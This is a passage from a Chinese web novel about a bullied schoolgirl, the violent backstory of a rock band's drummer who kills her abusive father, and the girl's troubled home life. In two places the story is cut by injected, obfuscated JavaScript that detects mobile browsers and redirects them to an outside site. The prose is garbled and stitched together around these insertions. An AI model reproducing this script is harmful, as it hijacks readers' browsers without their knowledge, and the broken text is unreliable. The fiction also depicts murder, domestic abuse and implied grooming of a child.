段雪晨试探地说:“她在班里是不是经常被欺负啊?我感觉好些同学都对她挺不客气的,就后排那几个男生,特别是戴眼镜那个,她一说话就笑话她。” “欺负也算不上,就同学之间开玩笑呗。之前开班会时我也说过他们了,这个年纪的男生就是比较皮,平时注意点分寸,别过界就行了。” 段雪晨想起那天傍晚在走廊上看到的一幕:“可不止是开玩笑了,之前我还碰到他们扔她的书本呢。就她刚交过来的那张卷子,说不定都是……” 冯老师打断她:“那不就是学生之间打打闹闹吗?你到每个班里去问问,大半都这么玩儿过,也没必要拔到校园霸凌的高度吧?” 这话就是此地无银三百两了。段雪晨说:“我又没说是校园霸凌。” 气氛变得有点僵了,旁边的罗老师连忙出来打圆场:“小段,你还年轻,没当过班主任,冯老师经验比你丰富多了。班里的事情要是都得事无巨细地去管,哪儿还有精力干别的呀?班级纪律大体上过得去就行了。” 冯老师也说:“我知道你们年轻人总有一股心气,凡事都要把是非曲直讲个清楚,想着去主持正义。但咱们学校的学生是个什么情况你了解不?能说的都说了,确实也不管用。要叫家长吧,家长的素质没准还更差,要么就是为了挣口饭吃到处奔波,有多少功夫来管这些鸡毛蒜皮的事情?” 段雪晨没吭声,冯老师又道:“说句实话,咱们学校的学生能上高中的都不多,别管将来是去读职高还是去打工,把他们平平安安送走就行。有精力还不如多关心那几个好苗子,每届能多带出几个考上重点的就算大功德了。” 这番话琢磨着好像也挺有道理,但段雪晨还是很难发自内心地认同,又不知道能怎样反驳,便只好说:“好吧。” 在这里教书久了,老教师们也摸索出了一套相应的为师之道。听起来不是那么高尚,但或许是最适合这所学校、这些学生的。 段雪晨知道自己大概率改变不了什么,何况她本身也不是个多么高尚的人。她只是更加确定,自己确实入错行了。 那个宋小苇显然并不是个好苗子,不值得老师更多的关注,挨了欺负也闷不吭声,是个挺合格的受气包。反正调皮的男生们总要找个软柿子来捏,捏到一个连跟老师告状都不会的,也算是给老师省去麻烦了。 哪儿管得了那么多啊,还是想想怎么早点批改完那堆作业,好欢度国庆吧。 段雪晨只能这么开解自己。 这天晚自习结束后,段雪晨路过6班时没忍住又往里瞧了几眼,果然看见宋小苇正独自坐在自己的位置上。 都这个点了,怎么也不回家或者回宿舍?她学习这么勤奋吗,没有朋友吗? 可能是一瞬间的鬼使神差,段雪晨突然叫了她一声:“宋小苇。” 宋小苇闻声转过头来,见是她在叫自己,表情有些困惑。段雪晨又说:“你过来一下。” 宋小苇听话地从教室里出来,低着头说了一句:“老师好。” 段雪晨跟她几次交集,好像听得最多的就是这句话。 外班的老师突然找上自己,宋小苇看着有点忐忑,像是担心自己做错了什么事情。 段雪晨到了这时才感觉自己冲动了,把人家叫过来到底要干什么呢?她抓了抓头发,最后问出一句:“你吃夜宵吗?” 宋小苇这下是真有点懵了,愣愣地摇了摇头。 话都说到这儿了,段雪晨只得硬着头皮道:“吃嘛,我请你。” 然后再不废话,直接拉着宋小苇一起下了楼,往食堂的方向走去。 这个点的食堂人还不少。初中生正是长身体的年纪,挨到下晚自习时肚子多半都饿了,家里有点条件的都会让孩子再加一餐。 段雪晨刷饭卡买了两碗馄饨,端过来给了宋小苇一碗。宋小苇小声说:“谢谢老师。” 段雪晨用勺子搅拌馄饨散热,说:“先晾晾,这会儿还烫呢。”又问:“你是内宿生吗,还是走读的?” “内宿的。” “那行,十一点才熄灯,早着呢。” “嗯。” 宋小苇还是不懂段雪晨为什么要突然请自己吃夜宵,心里其实很好奇,也有点不安,但并没有问什么。 段雪晨发现了,她好像就是这么个孩子,沉默、怯懦、逆来顺受,永远被动地接受着无论好坏的一切,因而显得有些麻木。 馄饨凉了一点了,段雪晨舀了一个送进嘴里,问:“我听冯老师说那张卷子是今早要交,你怎么下午才交上?” 宋小苇抿了口汤,说:“我之前弄丢了,又写了一张。” “是自己弄丢的吗?”段雪晨问,“还是被别人弄丢的?” 宋小苇又沉默了,而段雪晨已经明白了她的答案,又问:“是上课起哄的那几个吗?还有那天丢你的书,在上面乱写字的?” 宋小苇还是低头不说话,这让段雪晨有点焦躁。自己都来给她主持公道了,她怎么还是屁都不放一个呢? 她只得又苦口婆心道:“你在班里受了同学欺负要主动跟老师说啊,天天就这么忍着,他们怎么会改好呢?” 宋小苇又喝了口汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到宿舍,宋小苇在熄灯后偷偷摸摸地在被窝里打开了mp3,上面就那几个按键,也不难操作。她戴上耳机,开始听第一首歌。 前奏刚一响起她就立刻把耳机摘了出来,怎么这么吵?真是吓着人了! 她把音量调低了一点,重新戴上耳机,然后发现不只是音量的问题,是这首歌本身就十分吵闹。 旋律霸道地闯进她的耳朵,令她感到一股震撼,一首歌里竟然能装下这么激烈的感情,听得她的心脏突突地跳,血液也有些发热。 耳机里的女声在唱—— 最后一次,听见神父宣告我有罪 落日还早,行刑前我已决意逃跑 是谁听惯了求饶 是谁曾反复祷告 血色翻涌,终见到隐藏太久的刀 卑劣的十字架就此破碎 怒海之下应该埋葬着谁 最后一刀,休想要看见我的忏悔 她在被窝里屏息听完,觉得意犹未尽,便又倒回去重新播放一次。mp3只有一个小小的屏幕,显示歌名叫《怒海!》。她看不到歌词,不能很清楚地知道歌词在讲什么,只反复听见什么“血”、什么“刀”,这难道是一首讲述杀人的歌吗? 她用本能去感知,歌里塞满的是一种她已经缺失很久的情绪,是愤怒。 宋小苇反复地听这首歌,越听越没有困意。直到宿管员来第二轮巡楼,实在该睡觉了,她才摘下耳机,关掉了mp3。 虽然今天被讨厌的男生撕掉了卷子,但还是有一些好事发生。听到了好听的歌,吃到了好吃的馄饨,还结识了那么好的段老师。 她闭上眼睛,难得笑着睡去了。 第二天是长假前的最后一个工作日,下午放学前班主任反复跟大家强调假期安全问题。宋小苇不太认真地听着,心里感到沮丧和不安——又要回去了。其实她更愿意住在宿舍里,这对她来说是个更有安全感的地方。 可是这个月的生活费已经用完了,不可能不回去。 放了学,她回宿舍收拾了点东西,带上了段老师给的mp3。出校门后坐四十分钟的公交回镇上,从街头走到街尾,来到一片独栋自建房前,七拐八拐地走到深处,找到了母亲租住的那栋。 她掏出钥匙打开门,一楼的客厅此时没有开灯,里面一片黑暗。因为自建房之间楼距太近,采光很差,白天室内也需要开灯,而现在已经是傍晚了。 这栋楼的一楼是公共客厅,二楼是房东在住,三楼和四楼都分成了单间出租,母亲租住在四楼。 宋小苇走上楼梯,路过三楼时加快了脚步,来到四楼最里面那个房间门口,打开房门,钻了进去,然后立刻把门锁紧。 母亲不在。宋小苇原本有点想念她,此时却又感觉松了口气。 屋里摆了两张床,中间隔着一道帘子,就算是分隔成两个房间了。平时她住校,帘子就被束了起来。这时她放下背包,把帘子又放下来,坐到了属于自己的那张小床上。 床紧挨着窗边,她侧过头,可以从窗户和隔壁楼的缝隙间看到一片窄窄的夕阳。 没有开灯的室内,因为这点漏进来的夕阳而有了微弱的光亮。每当宋小苇待在这个阴暗而逼仄的房间里,为数不多的慰藉便都从这条漏光的缝隙里得来。 她从口袋里掏出mp3,戴上耳机,在这座繁华的城市的最边缘处,听起了自己喜欢的歌。 24.湖中少女(乐队视角) 当年在大学里组乐队,最难找的就是鼓手和贝斯手,所以当姜珏第一次看到方秀湖打架子鼓时,就下决心一定要把她拉到自己的乐队来。 刚上大一时姜珏就加入了音乐协会,方秀湖是音协的一个前辈的朋友。有一次社团活动时前辈把她拉来了,说全校没人比她打鼓更好。于是不光姜珏,在场的各位都想要见识一下她的本事。 方秀湖也没有推辞,大大方方坐到架子鼓后面,拿起鼓槌打了一套鼓。 她的技术自然非常好,在业余学生里已经是拔尖的存在。但让姜珏着迷的并不只是这个,而是她在打鼓时仿佛怀有的那股愤怒,甚至是——一股杀意。 她想,方秀湖就是她要找的鼓手。 彼时她还是个新来的菜鸟,说要组个乐队,除了姜玺没什么人愿意加入。她主动去找方秀湖搭讪,对方性格淡漠,也没有玩乐队的打算。姜珏碰了一鼻子灰,但并没有放弃。 后来她拿到了校园十大歌手的冠军,有意跟她组乐队的人渐渐多了。再后来,键盘手定下了孔潇,姜玺由吉他转贝斯,鼓手陆续试了几个,都没有太合适的。 在此期间,姜珏一直没有放弃游说方秀湖。方秀湖被她磨了小半年,大概是被她的诚意打动,自己也想尝试点新东西,就同意了加入乐队。明日回信由此正式成立。 方秀湖不是个爱说话的人,又比姐妹俩和孔潇都大两届,平时相处中总带着股疏离感,但姜珏有的是办法跟她套近乎。 她觉得大家既然都组成乐队了,当然要团结一些,互相搞好关系。于是三天两头就找个由头把大家凑到一起,除了日常排练,年轻人们还有太多可玩乐的东西。 那时候她还并不知道,方秀湖已经默默为他们每个人都设计了属于自己的死法。 孔潇性格温柔腼腆,看起来是那种富有同情心但本质脆弱的人。如果用一个谎言哄骗他尽心尽力地付出,再狠狠背刺他,想必就能看到他痛苦崩溃的模样,逼他自杀是最有意思的。 姜玺那个人表面亲和友善,实际上心眼子最多,跟她玩阴谋有风险,最好还是背后暗算偷袭,比如毒杀就很合适。 至于姜珏,一看就是那种还剩最后一口气都要玩命反抗的人,必须要一击毙命。不如就用钝器攻击头部吧?如果能用枪更好,可惜这玩意儿实在很难搞到。 刚进乐队的时候,这些就是方秀湖脑袋里最常想到的东西。 如果要用一个词来概括自己,她觉得应该是克制。 从青春期开始,克制自己骨子里的那股杀欲。 看到鲜花会想践踏,看到动物会想摧残,看到周围的人会想扼杀他们的性命。 她不确定这是因为遗传还是因为从小的耳濡目染,总之必然与那个人有关。她不想变得和他一样,所以竭尽所能克制自己。 她不与任何人交往过密,说话也不多,为了避免万一的失控。但这股杀欲总要有一个释放的出口——这就是她打架子鼓的理由。 打鼓是刚上初中时学的,那时候她已经生活在暴力中很多年了。 自从有记忆以来,她就一直在目睹父亲殴打母亲,这是她童年太常见到的画面。后来再长大一些,她也落入了母亲的处境。 父亲在外面并非是这副恶棍形象,反而温和儒雅、翩翩斯文,还是文学院的教授兼副院长,称一声君子也不为过,唯独把自己暴戾残酷的一面留给了妻女。 因为一家人生活在大学的教职工宿舍区,周围邻里都是同事和熟人,为免被别人发现,每一场施暴都是静悄悄进行的。 父亲总是一边对母亲拳脚相加,一边用阴狠的、低沉的语气咒骂她。而母亲就死死憋住哭声,咬牙等待这场暴力结束。 年幼的方秀湖不能明白,母亲为什么要忍耐呢?人在疼痛的时候是可以保持静默的吗?反正她做不到。 她曾经恐惧而焦急地去阻拦父亲,结果被他一脚踹开。她伤心地大哭,然后母亲过来捂住了她的嘴。 “秀湖,小点声。你再喊别人就都知道了……” 她瞪大双眼,然后渐渐也学会了保持静默。 哭声、呼救,在面对父亲的殴打时都不可以出现。“不能让别人知道”是一个轻巧又结实的门锁,锁住了门内一切的残忍与苦楚。 而在她一次又一次试图从父亲的拳脚下拯救母亲,从而遭到父亲的迁怒后,转头就看见母亲又在外人面前跟父亲恩爱如初,和他一起表演锦瑟和鸣。 母亲背叛了她。 她至此对任何人都失去了信任,毕竟就连世界上最亲近的人,曾经与之共享过血液与心跳的母亲,也是会背叛自己的。 后来再长大一些,她好像明白了母亲这么做的理由。母亲出身书香世家,聪慧漂亮,从学业到事业都出色。年少时和父亲在大学里相识,又从初恋走进婚姻,育有了一个可爱的女儿。一直过着令人艳羡的完美人生。 母亲誓死要维护这样的光环,不允许自己的人生出现半点失败或污点,如果有,就极力掩盖和粉饰它,好让别人相信自己永远是世俗标准里最幸福的女人。 一旦把这标准当成信仰,自我的痛苦就不那么重要了,女儿的痛苦亦然。 痛苦维持了母亲的体面与骄傲,然而对她来说,痛苦催生了杀欲。 此后的人生就是克制,一再克制。 加入乐队算是个计划之外的决定,她当初之所以会答应,很大程度上是因为被姜珏搞烦了。她从未见过脸皮这么厚的人,几次三番被拒绝了还能再缠上来磨她。那时候她甚至觉得,自己要是不答应当他们的鼓手,大概是过不了安生日子了。 那就陪这几个学妹学弟玩玩吧,谁知道这种心血来潮的校园乐队能存在多久呢? 然而她低估了这几个学妹学弟,尤其是姜珏。姜珏不光会唱歌,弹起吉他也是个好手,扒谱又快又准,写的几首歌都意外的好听。 杀死姜珏,一定比杀死那些平庸之辈有趣多了。 组乐队比想象中的更占用时间,排练还在其次,主要是以乐队为名的其他活动太多了。聚餐、看演出、打牌、轧马路,甚至连在□□群里聊八卦都属于必要的团建——反正姜珏是这么认为的。 方秀湖大三了,不像他们几个大一学生这么空闲,但还是被硬拉着参加了不少活动,毕竟厚脸皮的姜珏实在是不好敷衍。 有一次,四个人在学校外面吃了顿烧烤,回去的路上遇到了只小猫。校园里的流浪猫都被投喂得圆圆胖胖,还特别亲人,经常会主动过来跟路人撒娇。当时方秀湖第一个听见了猫叫,往那边一看,果然有一只橘猫正朝他们走来。 孔潇一向喜欢小动物,便开心地蹲下来逗它,姜玺也忍不住和他一起。橘猫的尾巴竖得高高的,不停蹭他们的裤腿,显然也很喜欢这两个人类。 方秀湖看着这温情有爱的一幕,杀欲又涌上来了。 “哟哟,眼睛都舍不得眨一下,原来你喜欢猫啊。”姜珏没心没肺地笑道。 她垂下眼睛,只能嗯了一声。 姜珏拉着她的胳膊也一起蹲下来,四个人对着橘猫围成了一圈。橘猫得意极了,在地上打了几个滚,朝大家亮出肚皮。姜珏伸出手去抚摸它腹部柔软的皮毛。 昏黄的路灯下,方秀湖看着那修长的手指埋进猫毛里,忽然觉得有些不忍折断了。 从春天到夏天,再到入了秋,乐队参加了校内校外的不少演出,四个人逐渐变得默契,成为一个团结友爱的小团体。方秀湖也逐渐发现,比起杀死这几个学妹学弟,让他们活着好像更让自己快乐。 尤其是姜珏,就算所有人都死了,她也不许死。 但杀欲不会消失,只会转移。当她离开队友们再回到那个被称为家的地方,会更想要杀死那个阴险残暴的父亲,以及那个软弱虚伪的母亲。 那年秋天,乐队报名参加了一档叫《校园新声》的选秀,顺利通过了海选。五十进二十的淘汰赛已经彩排过一次,周六下午需要到电视台进行正式录制。 按照以往习惯,大家会各自前往电视台。那对双胞胎姐妹肯定是一起的,孔潇从自己家里出发,而她就从大学过去。但那天有一点不同,姜珏因为当天早上要去给音协的周末活动捧场,前一天晚上就没有回自己家,于是打算下午跟她一起结伴去电视台。 那天出现了许多意外,比如姜珏跑来找她汇合时,路上突然下了场急雨,人被浇得半湿。 比如她破例邀请了外人进入那个被称为家的地方,还拿了自己的衣服给姜珏换上。 比如母亲趁周末到外地参加一个同学聚会,两天都不在家。 比如父亲那时刚好午睡醒来,在脑袋还不太清醒时看到了姜珏。 如果有一个环节没出意外,此后的一切都会被改写,她的人生也将完全不同。 但这么多个偶然都恰好叠加在一起,或许也是一种必然。 当时姜珏穿着她的衣服,站在客厅那面书墙前看了又看——都是父亲的藏书,那些东西总会让人以为他是个什么渊博有涵养的正经人。 而那时她在自己的房间里,想要找到那对用得最顺手的鼓槌。 彼时父亲结束了午休,一走出卧室就看见了姜珏的背影。 在书墙前鬼鬼祟祟的,是想要对他的藏书搞什么?真是令人烦躁。方教授闷不吭声地走到她身后,一把拽住她的头发,带着她的脑袋撞向木柜。 方秀湖从房间里出来,正好看到了这一幕。 伴随着姜珏的呼痛声,她的愤怒在那一刻淹没了理智,杀欲冲到峰顶。 来不及回过神,手中的鼓槌已经抽向了父亲的脖子。父亲惨叫一声,又被转过身的姜珏一脚踹中了肚子,身体往后倒去。 方教授这时才看清了眼前的人——是个陌生女孩,并非他那个可以任意打骂的女儿。 那身后的又是谁?谁在偷袭他? 方秀湖把鼓槌卡到父亲的脖子前,双手握住鼓槌的两端往后拉,死死地勒住他的脖颈。 他怎么敢对姜珏施暴?他怎么敢?他该死! 杀了他! 十数年的仇恨都在这一刻爆发,肾上腺素在飙升,她的双手下了死劲。她看到父亲额头上青筋暴起,眼珠也渐渐翻白,感觉到前所未有的愉悦和兴奋。 原来杀人是这么快乐,她早知道的,所以此前才一直拼命克制。否则一旦尝过这个滋味,就再也戒不掉了。 姜珏见她面色如冰,双眼透出嗜血般的杀气,而那个中年男人已经是奄奄一息的模样。她有些害怕了,忙去拽开方秀湖的手:“秀湖姐,你快松手,他好像要不行了……” 见方秀湖不为所动,她更加着急地想要把她推开:“你会勒死他的!快松手啊!” 方秀湖渐渐收束了力气,但理智并没有回流。 方教授脸色憋成了紫红,此时终于能够重新呼吸,不停地咳嗽。 这时姜珏看出了他跟方秀湖的相像之处,试探地问:“他是……你爸?”方秀湖并不回答,她又去问方教授:“喂,你刚才为什么砸我的头?” 方教授有气无力道:“我,误会……”他瘫在地板上,看见女儿正居高临下地俯视自己,虚弱却咬牙切齿道:“你疯了……” 疯了?不正和他一样吗? 杀了他! 方秀湖站起身,一脚踩在他的脖子上,听见了喉骨断裂的声音。然后拉住他的左胳膊,像拖着一条死狗那样拖着他往书房去。 姜珏试图阻拦她:“秀湖姐,你还要干什么?快打120吧!” 方秀湖把她挡在书房外面,关上了门。 她撕下一片窗帘,把布片卷成一团塞进父亲的口腔,然后举起木椅砸向他的脑袋。 父亲的惨叫都被堵在了嘴里,只能发出痛苦的呜呜声。 保持静默吧,就像她这些年被要求的那样。 遍体鳞伤的父亲哭泣着向她求饶,血水和泪水狼狈地糊了一脸。其实他不过一介书生,在武力上能有多大能耐呢?却可以在这个家里充当暴君这么多年,理所当然地享尽妻女的臣服,只因为他是一个父亲。 然而他亲手培育了一条伺机复仇的恶龙。 杀了他。 从小至今的恐惧、屈辱、仇恨,统统连本带利还给他。 “方秀湖!”姜珏在外面不停拍门,“你到底在里面干什么?别做傻事!” “我们今天还有比赛啊,你忘了吗?再不去电视台就来不及了!” 是啊,还有乐队,还有比赛呢。 还有她希望可以一直活着的朋友们,还有他们一起排演过的歌。 眼前的男人已经失去了心跳和呼吸,她的杀欲也终于尽数释放。 理智在此刻慢慢回归,她呆呆地坐在地板上,看向父亲那双无法闭合的空洞的眼睛,一点一点回想起了刚刚发生的一切。 “你先去吧,我晚点到。”她朝门外的姜珏说,声音有些颤抖,也有股脱力后的疲惫。 姜珏听到里面再没有传出任何动静,仿佛也猜到了那个结果,惶恐地捂住了嘴。 方秀湖见她没应声,便再次开口:“一定到。” 然后她听见姜珏用同样颤抖的声音说:“那我们等你。” 关门声传来,她知道姜珏离开了。于是她跨过尸体走出书房,进到卫生间里洗了个澡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356681|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 再拿上那对用得最顺手的鼓槌,打车去往电视台。 差点就赶不上比赛了,万幸还是在登台前的最后一刻踩线到场。 姜玺看到她时松了口气,孔潇发出欢呼,而姜珏把手搭在她的肩膀上。 她很惊讶,姜珏明明知道她刚做了什么,这时候却没有一点害怕、鄙弃和闪躲。 姜珏甚至还握住了她的手。 这是不是代表着,无论她做了什么,这世上仍有人不会背叛她? 于是她也回握住了姜珏。 等主持人念完串场词,她随队友们一起走上舞台,坐到了架子鼓后面。 这将是最后一次作为鼓手和他们演出了,甚至可能是最后一次见到他们。但她其实没有什么后悔的情绪,因为终于做了自己一直以来都太想要做的事,即使会付出最惨痛的代价。 在聚光灯下,她觉得今天自己没有发挥好,因为身体里已经失去了那股迫切需要发泄的杀欲。 不过结果依然令人满意,明日回信顺利晋级了。 到了后台,她与队友们一一拥抱,在这也许是永别的时刻,终于还是忍不住哽咽了:“我今天很开心,特别开心。” 最后来到姜珏面前,与她极紧地相拥,在她耳边轻声说:“我一点也不后悔。” 正要松开双手时,她又被姜珏再次抱住。姜珏把脸埋在她的颈间:“我们等你,不管多久。” “嗯。”她忍住眼泪,挤出一个笑容,用力点了点头。 然后又低声对姜珏说道:“你记住,今天你没有见过他。” 回到家里,父亲仍然躺在书房的地板上,双眼木然睁开。 她打了报警电话,投案自首。 进入侦办流程后,她被羁押到看守所,经受了多轮审讯,如实供述了自己的杀人动机和作案过程。因为她当天在杀了人后就立刻接触了明日回信的其他三人,于是他们也都被传讯了。 姜玺和孔潇对这件事一无所知,而姜珏承认自己那天去到了方秀湖的家里,但并没有见到方教授本人。 “那天我们本来要一起去电视台,我去找她时路上下了雨,衣服都被淋湿了。她就让我上她家里换身衣服。” “你进到她家里的时候,死者在场吗?” “我没看到他,当时我以为家里就只有方秀湖一个人在。” “你说你们计划一起去电视台,为什么后来你先走了?” “她非要带上那对用得最顺手的鼓槌,但是找了半天也没找到。我看时间快来不及了,就催她随便拿一对,她死活不肯。我们吵了一架,我就先走了。” 根据方秀湖的口供,她跟姜珏的吵架声吵醒了午睡的父亲。他起床后发了怒,又像以往那样对她施暴,于是她愤而反击,杀死了他。 被采取强制措施后,她的心情一直很平静,甚至有种如释重负的轻松。她想,这时候最崩溃的应该是母亲吧?苦苦忍耐了那么多年,只为对外人展示一个幸福的假象。如今丈夫被活活打死在家里,凶手正是女儿,所谓的美满家庭以一种最不堪的方式破碎了。 她曾经得到过多少艳羡和荣耀,现在就得面对多少指点与怜悯。 但她不同情母亲,也不抱有任何歉意。当年母亲明明有能力反抗,或者带着她离开那个暴君,再不济,也可以不要去捂住她的哭喊。 不过万幸,母亲还是向警方提供了与方教授的往来短信记录,以及方教授曾经写下的悔过书。警方由此确认了方教授生前存在长期家暴的事实。 方秀湖被捕后,这桩弑父案被校方极力压了下来。姜珏姜玺和孔潇都对此事守口如瓶。谢焰不知道,后来加入的郭源远也不知道。 次年三月,方秀湖被判处有期徒刑十五年。她没有上诉,随后被从看守所移送到第三女子监狱。 监狱里的生活简单规律,每天早睡早起、跑操、吃饭、干活儿,时不时再上个课。她是重刑犯,一般不会有人来招惹,跟她同个监室的也多是故意杀人、故意伤害致死之类的罪犯。 像她这么年轻的杀人犯很罕见,同样罪名的几乎都是杀夫的中年女性。她们听到方秀湖杀的是父亲,都会有些惊讶,然后根据那些屡见不鲜的经验,又会表露出理解与惋惜。 刚入狱时母亲来看过她,流着眼泪向她问出那个始终都想不通的问题:“到底为什么?” 她只说:“因为我想杀他,想了好多年。” 她对母亲的眼泪有些厌烦了,又道:“以后你不要过来了,我不太想见到你。”然后就起身离开了会见室。 每月有一次探视的机会,唯一会坚持来看她的是姜珏。虽然理论上只允许亲属探视,但狱警还是尽量通融了。十几年下来,姜珏甚至跟那几个老狱警都混成了熟脸。 每次姜珏都会跟她讲些自己和乐队的近况。明日回信签了公司,发了第一张专辑,拿了奖。巡演的感觉不错,希望每年都能去。毕业了,工作了,辞职了,摇滚乐队要混出头怎么就这么难呢? 有一年姜珏隔了好几个月没来,因为跟着叶英华去巡演了。 再后来,姜珏告诉她孔潇自杀了,他的男友谢焰代替了他的位置。鼓手郭源远退队了,另外又找了新鼓手顶上。姜玺生了个女儿,她当上小姨了。新贝斯手是个酒鬼,有点误事。乐队的名气越来越大,有个千金小姐非要加入他们。再到今年春天,姜珏告诉她乐队即将要去上综艺了。 然而最让她记忆犹新的,是刚入狱时姜珏对她说:“我前阵子写了首歌,叫《怒海!》,专门为你写的。既然你恨他,我就帮你在歌里再杀他一次。” 那一刻,她多么庆幸自己认识了姜珏,庆幸自己加入了明日回信。跟这几个学妹学弟混在一起的那半年,是她这一生中最快乐的时光。 在监狱里日复一日,年复一年,经过减刑,她终于在第十三年等来了刑满释放。 出狱那天,她换下囚服,跟狱友和狱警们告了别。 走出高墙,她两手空空地站在初秋的阳光下,看到了等在外面的朋友们。 姜珏和姜玺站在一起,旁边是谢焰,还有一个不认识的年轻女孩,想必就是那位新加入的千金小姐吧。 她看着对面那四张灿烂的笑脸,也笑了起来。 这时有只小猫喵喵叫着来到她脚边,大概是附近居民散养的宠物。她低头看着那毛茸茸的脑袋一个劲地往自己裤腿上蹭,心觉可爱,弯腰摸了摸它的头。 “秀湖姐,走了。”姜珏叫道。 她重新站直了身体,向朋友们大步走去。 最美好的年华都已留在狱中,然而从今往后的每一天,都是更美好的岁月。 25.火焰山(乐迷视角) 国庆长假里,宋小苇就一直待在出租屋。每天给自己做一日三餐,然后边看电视边写作业。屋里没有正经书桌,只能趴在平时吃饭的茶几上写。 母亲宋文艳在附近的农贸市场打工,给一家干货批发行做收银员。平时做六休一,过不上什么法定节假日,国庆七天自然也没法带女儿出去玩玩。不过宋小苇觉得,母亲就算有了空也不会陪自己的。比起女儿,她更粘着外面的一个又一个男人。 宋文艳的经历其实也司空见惯,出生在一个贫穷而愚昧的家庭,家人对她不好,初中没念完就退了学,辗转打过不少份工。刚成年就被一个老男人骗了去,生下宋小苇时还不满二十岁。 那老男人其实早有家庭,当然不可能为了她妻离子散。宋文艳想把孩子留给他一走了之,但因为是个女儿,人家也不愿意留下。于是她只好带着出生不久的宋小苇回了老家。 可惜家里也容不下她,她只能背着婴儿出来四处打零工,过了一段相当困苦的日子。 宋小苇没上过幼儿园,小学换了三个学校才念完。两年半前母女俩来到这座城市,生活也稍微稳定一些了。 人人都知道这里的繁华,宋小苇也早有听说。但她其实只进过两次城,一次是刚搬来时母亲要带她去见见世面,还有一次是小学正式毕业时,母亲带她进城吃了顿好的。 其余时间她都生活在远郊,这是繁华之外的另一个世界,跟她以前长居的城乡结合部并无不同。 现在租住的地方租金很低,租客自然也不会多么文明体面。宋小苇最讨厌的是挨着三楼楼梯口那间屋子里的男人,他上半年才住进来,没过多久就跟宋文艳处上了对象。 宋小苇也不知道这是母亲的第几个对象了,自她有记忆以来,母亲不是在处对象就是在处对象的路上。她总是迫切地寻找一个又一个男人,再迫切地向他们献上自己的感情、精力和金钱,以求得想象中的爱和安全感。屡试屡败,又重头再来。 拖到假期最后一天,宋小苇总算磨磨蹭蹭地把作业写完了。她不算聪明,学习习惯也不太好,成绩勉强能排在班里的中游。虽然母亲一直催她用功读书,将来别走她的老路,但生活又不是热血励志电影,像她这样的孩子想要通过考学来翻身,哪有这么容易呢? 晚上要返校了,宋文艳前一天就已经盘算好,嘱咐女儿:“明天吃了晚饭让你杨叔叔送你回学校。刚好他有车,搭你也方便。” 宋小苇不太愿意,说:“我自己坐公车回去就行了。” “你这孩子,人家要开车送你还不领情。公车又慢又挤,坐他的车不舒服多了?”宋文艳不满道,“杨叔叔一片好心,结果碰上你这个不识好歹的,真是好心打水漂了。” 宋小苇不吭声了。她本来就是个不会拒绝的人,听母亲说两句重话就放弃了坚持。宋文艳也清楚女儿是个什么脾气,知道她这是答应了,便又说:“那说好了,明天晚上杨叔叔来我们这吃饭,吃完了就送你回学校。” 宋文艳口中的杨叔叔就是住在三楼的那个男人,是农贸市场的一名送货司机,自有一辆小皮卡,每天把新鲜的水果蔬菜从远郊送往市区的商超和零售店。他是宋小苇现在最厌恶和最害怕的人,远远超过班里那几个经常欺负她的男生。 可她不知道能怎么办,也不敢告诉母亲,因为母亲看起来非常喜欢他。 吃过晚饭,杨叔叔一只手搂上她的肩膀,另一只手夹着根烟,一边吞云吐雾一边对宋文艳笑说:“放心吧,保准把她平安送到学校。” 天黑了,老旧的小皮卡行驶在人烟稀少的郊外,二手烟弥漫着整个车厢。宋小苇紧紧抓着自己的书包,手心沁出一层又一层的汗。她把耳机戴上,假装在听歌,然而mp3的电量早就耗尽。 遇到红灯时,杨叔叔停下车,伸手摸了摸她的头,人也挨了过来。 她屏住呼吸,在心里乞求这段煎熬的路途快点结束。 小皮卡确实比公车要快,不到半个小时就开到了二十三中门口,她终于抵达了一个安全的地方,一言不发地打开车门,跳下车头也不回地向校门跑去。 第二天下了晚自习,宋小苇走到教师办公室门口偷偷往里张望,瞄见只有段雪晨一个人在。她现在不那么怕她了,在门口叫了一声:“段老师。” 段雪晨抬头看见是她,笑道:“怎么了,有事找我?” 宋小苇走进来,把那个红色的mp3递给她。段雪晨有些意外,说:“这个送你了的,不用再还回来了。” 宋小苇太不好意思地低着头,支吾道:“……没有电了。” 这下段雪晨也尴尬了,自己这个马大哈,当时居然忘了把充电线拿给人家。现在mp3没了电,跟个废弃的火柴盒有什么区别,人家可不就只能还回来了? 她尬笑两声,道:“哎,之前都忘了把充电线也给你了。你等会儿没什么事吧?要不跟我回宿舍把充电线拿了?” 宋小苇点了点头。 段雪晨索性丢开了笔,站起来伸个懒腰:“刚好肚子也饿了,我们去吃夜宵吧,我请你。” 两个人又一起去了食堂,还是要了两碗馄饨。段雪晨问起宋小苇假期里都干嘛了,宋小苇就说待在家里看电视写作业,还有听mp3里的歌。 段雪晨舀起一个馄饨吹凉,问她:“那里面那么多首歌,你最喜欢哪首?” 宋小苇小声说:“喜欢《怒海!》。” “你喜欢摇滚啊?”段雪晨有些意外,“还挺看不出来呢。” 那个叫做摇滚吗?宋小苇也不清楚,她只是觉得这首歌听起来情绪热烈,比其他歌曲都更有力量。 段雪晨又笑说:“实话告诉你吧,这首歌是我表姐唱的。” “啊?”宋小苇惊讶得睁大了眼睛。 “是她唱的,也是她写的。她跟我另一个表姐组了个乐队,前几年还参加了个比赛,叫什么《校园新声》的,你看过吗?” 宋小苇摇了摇头。 段雪晨说:“也是,那时候你还小着呢。” 宋小苇吃了个馄饨,有些羡慕地说:“好厉害,你家里人是大明星。” 